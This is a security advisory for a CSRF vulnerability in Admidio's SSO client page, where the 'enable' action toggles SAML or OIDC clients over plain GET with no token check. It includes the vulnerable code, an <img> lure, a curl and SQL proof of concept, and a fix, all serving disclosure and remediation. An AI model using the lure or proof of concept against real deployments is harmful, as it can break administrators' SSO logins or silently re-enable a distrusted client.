PT-2026-45039 · Packagist · Admidio/Admidio

Published

2026-05-29

·

Updated

2026-05-29

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CVE-2026-47229

CVSS v3.1

5.4

Medium

VectorAV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Summary

modules/sso/clients.php validates an adm csrf token on every state-changing branch except enable. The enable case loads the SAML or OIDC client by UUID, calls $client->enable($enabled), and persists the new state with no token check. Because the action is reachable via plain GET parameters, a third-party page can trick an authenticated administrator into disabling (or silently re-enabling) any configured SAML or OIDC client. Disabling an SSO client breaks every downstream relying-party application that authenticates through it.

Details

Vulnerable Code

modules/sso/clients.php:84-115 — the file's other branches each begin with SecurityUtils::validateCsrfToken($ POST['adm csrf token']);, but case 'enable': does not:
case 'delete oidc':
  // check the CSRF token of the form against the session token
  SecurityUtils::validateCsrfToken($ POST['adm csrf token']);

  $oidcService = new OIDCService($gDb, $gCurrentUser);
  $client = $oidcService->getClientFromUUID($getClientUUID);
  $client->delete();
  echo json encode(array('status' => 'success'));
  break;

case 'enable':                     // <- no CSRF validation
  $enabled = admFuncVariableIsValid($ GET, 'enabled', 'boolean');
  $client = new SAMLClient($gDb);
  $client->readDataByUuid($getClientUUID);
  if ($client->isNewRecord()) {
    // Not a SAML record, so try OIDC:
    $client = new OIDCClient($gDb);
    $client->readDataByUuid($getClientUUID);
  }
  if ($client->isNewRecord()) {
    throw new Exception('SYS SSO INVALID CLIENT');
  }
  $client->enable($enabled);
  $client->save();
  echo json encode(['success' => true]);
  break;
The enable($enabled) call is documented to set a single boolean column on the SAML / OIDC client row — smc enabled for SAML, ocl enabled for OIDC — and save() persists the change immediately. The handler accepts plain GET (admFuncVariableIsValid($ GET, 'enabled', 'boolean')), so a <img src=...> or auto-submitting form is sufficient.

Exploitation Flow

  1. Attacker prepares a hostile page that loads (e.g.) <img src="http://victim.example/modules/sso/clients.php?mode=enable&uuid=<known-sso-client-uuid>&enabled=0">. The client UUID can be observed by anyone who has visited the SSO settings, by anyone who has crawled the SAML metadata endpoint, or by anyone with read access to the SSO clients table — but the value is also enumerable: an admin viewing the list of SSO clients in the UI exposes data-uuid attributes in the rendered HTML, and SSO metadata endpoints (e.g. modules/sso/saml.php?metadata=1&uuid=...) confirm valid UUIDs by returning XML.
  2. An Admidio administrator visits the hostile page while logged in. The browser sends Admidio's session cookie (which does not set SameSite=Strict).
  3. The server runs case 'enable': as the admin, sets smc enabled=0 (or ocl enabled=0), and replies {"success":true}.
  4. The configured SAML / OIDC client is now disabled. Every downstream application authenticating through it gets SYS SSO INVALID CLIENT on its next AuthnRequest / token-endpoint call. The outage persists until an admin notices and toggles it back on.
The attacker can also flip the bit the other way: silently re-enabling a client that an admin had previously deactivated (perhaps because of a security concern with that relying party).

PoC

Tested on HEAD c5cde53. To produce a deterministic test target, an SSO client is provisioned directly in the DB:
# 0. seed a SAML client
mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio <<'SQL'
INSERT INTO adm saml clients (smc uuid, smc org id, smc client name, smc acs url, smc enabled,
               smc timestamp create, smc usr id create)
VALUES ('aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee', 1, 'Test SAML', 'https://app.example/acs', 1,
    NOW(), 2);
SQL

mariadb ... admidio -e "SELECT smc uuid, smc client name, smc enabled FROM adm saml clients WHERE smc client name='Test SAML';"
smc uuid               smc client name smc enabled
aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee Test SAML    1

# 1. CSRF lure — admin's browser, no token supplied, GET only
curl -b $admin cookie -i 
 "http://127.0.0.1:8085/modules/sso/clients.php?mode=enable&uuid=aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee&enabled=0"
HTTP/1.1 200 OK
{"success":true}

# 2. observe the change
mariadb ... admidio -e "SELECT smc enabled FROM adm saml clients WHERE smc uuid='aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee';"
smc enabled
0
The change persists. The legitimate admin's UI continues to show the client as configured, but every SAML AuthnRequest fails until the bit is toggled back.

Impact

In an Admidio deployment that uses SSO for downstream relying parties, a CSRF lure targeted at an administrator results in:
  • SSO outage for whichever client UUID the attacker chose. Users who depend on app1.example/sso (or similar) cannot log in. The outage persists until a human admin notices and re-enables the client by hand.
  • Stealthy re-activation of a client the admin had previously deactivated for a security reason — for example, a relying party whose certificate had been compromised — by passing enabled=1 instead of 0.
The impact is limited to the SAML / OIDC enabled column; nothing else in the SSO state machine is mutated by this branch. Confidentiality is not affected. Availability is partial (A:L) because only one client at a time is hit, and only the SSO path of that client. Integrity is I:L because the enabled bit is the only mutated column. UI:R reflects the admin-must-visit requirement; PR:N because the attacker needs no Admidio credentials of their own.

Recommended Fix

Add the CSRF check and switch the trigger from GET to POST:
case 'enable':
  // check the CSRF token of the form against the session token
  SecurityUtils::validateCsrfToken($ POST['adm csrf token']);

  if ($ SERVER['REQUEST METHOD'] !== 'POST') {
    throw new Exception('SYS INVALID PAGE VIEW');
  }

  $enabled = admFuncVariableIsValid($ POST, 'enabled', 'boolean');
  $client = new SAMLClient($gDb);
  $client->readDataByUuid($getClientUUID);
  if ($client->isNewRecord()) {
    $client = new OIDCClient($gDb);
    $client->readDataByUuid($getClientUUID);
  }
  if ($client->isNewRecord()) {
    throw new Exception('SYS SSO INVALID CLIENT');
  }
  $client->enable($enabled);
  $client->save();
  echo json encode(['success' => true]);
  break;
Update the JS call site that drives the enable/disable toggle to POST the form's CSRF token (the page already renders adm csrf token).
A regression test should issue a GET /modules/sso/clients.php?mode=enable&uuid=<x>&enabled=0 with an admin cookie but no token, and assert the response rejects the request and the client's enabled column is unchanged.

Fix

CSRF

Weakness Enumeration

CWE-352

Related Identifiers

CVE-2026-47229
GHSA-XG76-5QJ2-2HHV

Affected Products

Admidio/Admidio